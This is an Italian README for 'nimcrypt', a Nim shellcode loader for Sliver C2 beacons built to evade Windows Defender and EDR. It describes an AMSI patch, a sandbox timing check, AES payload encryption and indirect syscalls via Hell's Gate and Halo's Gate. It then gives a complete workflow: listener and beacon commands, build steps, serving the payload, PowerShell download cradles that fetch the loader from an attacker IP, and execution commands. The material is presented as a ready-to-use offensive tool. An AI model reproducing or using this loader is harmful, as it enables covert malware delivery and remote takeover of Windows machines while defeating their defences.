
nimcrypt — Updated!
Strumento di crittografia basato su Nim per offuscare shellcode e payload per eludere Windows Defender.
nimcrypt
Un loader di shellcode per Sliver scritto in Nim per Windows x64. Due varianti per coprire le due situazioni di consegna più comuni. Testato contro Windows Defender con protezione in tempo reale attiva.
Varianti
stager
Legge un blob di shellcode crittografato dal disco, lo decifra in memoria e si auto-inietta. Usalo quando hai già una primitiva di drop di file e desideri un binario piccolo e semplice.
loader.exe <shellcode.bin> [key_hex iv_hex]
Key e IV sono opzionali. Se omessi, il file viene trattato come shellcode grezzo non crittografato.
stageless
Scarica il blob crittografato dal tuo C2 via HTTP usando lo stack Windows WinHTTP, lo decifra in memoria e si auto-inietta. Nessun file tocca mai il disco. Usalo quando puoi eseguire un binario sul target ma non puoi rilasciare in modo affidabile un secondo file.
Modifica le costanti all'inizio di stageless/loader.nim prima di compilare:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 caratteri esadecimali da encrypt.py
scIV = "..." # 32 caratteri esadecimali da encrypt.py
Tecniche
Evasione sandbox
Il loader stageless chiama Sleep(5000) all'avvio e misura il tempo effettivo trascorso con GetTickCount64. Se sono passati meno di 4500ms, il processo termina. La maggior parte degli ambienti sandbox automatizzati saltano o accelerano le sleep, causando il fallimento del controllo. Questo viene eseguito prima di qualsiasi attività di rete o esecuzione di shellcode, quindi le sandbox che ispezionano il comportamento di rete non vedono nulla.
Bypass AMSI
amsi.nim esegue il patch di AmsiScanBuffer a runtime utilizzando due livelli di offuscamento:
Nascondere stringhe tramite hash FNV-1a. La stringa AmsiScanBuffer non appare mai nel binario. Invece, il suo hash FNV-1a viene calcolato in fase di compilazione e memorizzato come costante. A runtime il loader esamina la tabella delle esportazioni di amsi.dll, calcola l'hash di ogni nome di esportazione e lo confronta con il valore memorizzato per trovare l'indirizzo della funzione senza mai tenere la stringa in memoria.
Offuscamento XOR in fase di compilazione. Sia il nome della DLL (amsi.dll) che i byte di patch (xor eax, eax; ret = 31 C0 C3) vengono codificati con XOR in fase di compilazione utilizzando una chiave casuale generata fresca ad ogni build tramite un subprocesso Python. La chiave è incorporata come costante e i byte vengono decodificati a runtime immediatamente prima dell'uso. I byte grezzi cambiano ad ogni build, rompendo le firme statiche sulla sequenza di patch.
La patch sovrascrive i primi tre byte di AmsiScanBuffer con xor eax, eax; ret, facendo sì che ogni chiamata restituisca AMSI_RESULT_CLEAN indipendentemente dall'input.
Crittografia del payload
encrypt.py crittografa lo shellcode grezzo con AES-256-CBC utilizzando una chiave casuale di 32 byte e un IV di 16 byte. Il loader decifra in-place utilizzando l'API Windows BCrypt, quindi non è necessaria alcuna libreria crittografica di terze parti sul target.
Transizione di memoria da RW a RX
La memoria viene allocata come PAGE_READWRITE, lo shellcode viene scritto al suo interno, e successivamente la regione viene trasformata in PAGE_EXECUTE_READ prima dell'esecuzione. Allocare direttamente come PAGE_EXECUTE_READWRITE è una firma ben nota che Defender e gli EDR segnalano esplicitamente. Separare le fasi di scrittura ed esecuzione evita questo schema.
Syscall indiretti (Hell's Gate + Halo's Gate)
stageless/syscalls.nim bypassa sia il livello API Win32 (kernel32.dll) che eventuali hook userland di ntdll.dll posizionati dagli EDR.
Risoluzione SSN. All'avvio il loader ottiene l'indirizzo base di ntdll e analizza la sua tabella delle esportazioni PE, raccogliendo ogni esportazione Nt* ordinata per RVA. Per ogni funzione NT necessaria, controlla i primi quattro byte:
4C 8B D1 B8(mov r10, rcx; mov eax, imm32) significa che lo stub è pulito e l'SSN viene letto direttamente dai byte 4-5. Questo è Hell's Gate.- Qualsiasi altra cosa significa che il prologo della funzione è stato patchato da un hook EDR. In questo caso il loader esamina i vicini nella lista ordinata finché non trova uno stub pulito, quindi calcola l'SSN target come
neighbor_SSN +/- distance. Gli SSN incrementano di uno per stub in ordine di indirizzo. Questo è Halo's Gate.
Localizzazione del gadget. Il loader scansiona il primo stub Nt* pulito che trova per la sequenza di byte 0F 05 C3 (syscall; ret). Questo fornisce un indirizzo all'interno della sezione .text supportata dall'immagine di ntdll che possiamo riutilizzare.
Generazione dello stub. Per ogni funzione richiesta, uno stub di 22 byte viene scritto in una singola pagina RW che viene poi trasformata in RX prima dell'uso:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx indirizzo del gadget
Il jmp [rip+0] dereferenzia gli 8 byte immediatamente successivi (l'indirizzo del gadget) e reindirizza l'esecuzione nella sequenza syscall; ret esistente di ntdll. L'istruzione syscall viene eseguita dal .text di ntdll anziché dalla nostra allocazione anonima, sconfiggendo qualsiasi tracciamento a livello kernel di quale regione di memoria ha emesso la syscall.
Le quattro funzioni coperte dai syscall indiretti sono NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx e NtWaitForSingleObject.
Auto-iniezione
Dopo la decifratura, il loader stageless alloca una regione RW nel proprio processo tramite NtAllocateVirtualMemory, copia lo shellcode con copyMem, trasforma la regione in RX tramite NtProtectVirtualMemory e avvia un thread tramite NtCreateThreadEx. Il thread principale si blocca poi indefinitamente su NtWaitForSingleObject, mantenendo il processo vivo mentre le goroutine del beacon vengono eseguite. Tutte e quattro le chiamate passano attraverso gli stub di syscall indiretti descritti sopra.
L'auto-iniezione mantiene la superficie di chiamata minima. Non ci sono chiamate API cross-process (WriteProcessMemory, CreateRemoteThread, ecc.), che sono i principali vettori di rilevamento per l'iniezione remota classica.
Flusso di esecuzione (stageless)
- Controllo temporale: sleep 5s, termina se è trascorso < 4.5s
- Patch AMSI: risolvi
AmsiScanBuffertramite FNV-1a, sovrascrivi conxor eax, eax; ret - Risolvi stub di syscall indiretti: analizza esportazioni ntdll, trova SSN (Hell's Gate + Halo's Gate), localizza gadget
syscall; ret, scrivi stub - Download: richiesta GET WinHTTP, leggi il corpo della risposta
- Decifra: AES-256-CBC tramite BCrypt in-place
- Alloca:
NtAllocateVirtualMemorynel proprio processo (RW) tramite syscall indiretto - Copia lo shellcode nell'allocazione
- Proteggi:
NtProtectVirtualMemoryin PAGE_EXECUTE_READ tramite syscall indiretto - Esegui:
NtCreateThreadExtramite syscall indiretto - Attendi:
NtWaitForSingleObjectsull'handle del thread tramite syscall indiretto
Flusso di esecuzione (stager)
- Patch AMSI
- Leggi il file di shellcode dal disco
- Decifra se sono stati forniti key e IV
VirtualAlloc(RW), copia shellcode,VirtualProtectin RX- Esegui tramite cast di puntatore a funzione
Requisiti
Sulla tua macchina di build Linux:
- Nim + nimble (
nimble install winim) - mingw-w64 (
x86_64-w64-mingw32-gcc) - Python 3 + pycryptodome (
pip install pycryptodome)
Flusso di lavoro completo
1. Avvia un listener Sliver
[server] sliver > mtls --lhost 10.10.14.42 --lport 443
2. Genera shellcode beacon
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
3. Crittografa
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
4. Imposta le costanti e compila
Modifica stageless/loader.nim e imposta c2Host, c2Port, c2Path, scKey, scIV, poi dalla root del progetto:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
Compila sempre dalla root del progetto in modo che venga caricato solo il nim.cfg principale. L'output è un PE Windows x64 collegato staticamente senza dipendenze DLL esterne oltre alle librerie di sistema standard.
5. Servi o trasferisci
Stageless: servi il blob crittografato via HTTP sulla porta corrispondente a c2Port:
cd bins && python3 -m http.server 443
Stager: trasferisci entrambi i file sul target:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
6. Esegui
Stageless:
loader.exe
Stager con crittografia:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager senza crittografia:
loader.exe shellcode.bin
Consegna tramite PowerShell
Se consegni tramite un cradle di download PowerShell, AMSI scannerizzerà lo script prima che il loader venga eseguito. Esegui prima il patch di AMSI nella tua sessione PS:
python3 gen_amsi.py
Incolla l'output nella sessione PS prima di scaricare o eseguire qualsiasi cosa. Lo script risolve AmsiScanBuffer tramite hash della tabella delle esportazioni, quindi la stringa non appare mai in chiaro, e tutti i byte di patch sono codificati XOR con una chiave casuale per ogni esecuzione.
Note
- Richiede Windows 10 / Server 2016+ (Universal CRT)
BCryptSetPropertyper la modalità di concatenamento restituisceSTATUS_INVALID_PARAMETERma BCrypt per impostazione predefinita usa CBC, quindi la decifratura funziona correttamente- I syscall indiretti coprono solo le quattro funzioni NT critiche per l'iniezione. Le chiamate Winsock e BCrypt passano ancora attraverso i loro normali percorsi API, il che è accettabile poiché queste chiamate sono comportamentalmente innocue in isolamento
- L'istruzione
syscallnegli stub viene eseguita dall'interno della sezione.textdi ntdll (supportata dall'immagine, firmata Microsoft), non dalla pagina dello stub, sconfiggendo il tracciamento dell'origine della syscall a livello kernel
Riferimenti
Puoi trovare maggiori dettagli sui meccanismi di Defender, tecniche e altri strumenti sul mio blog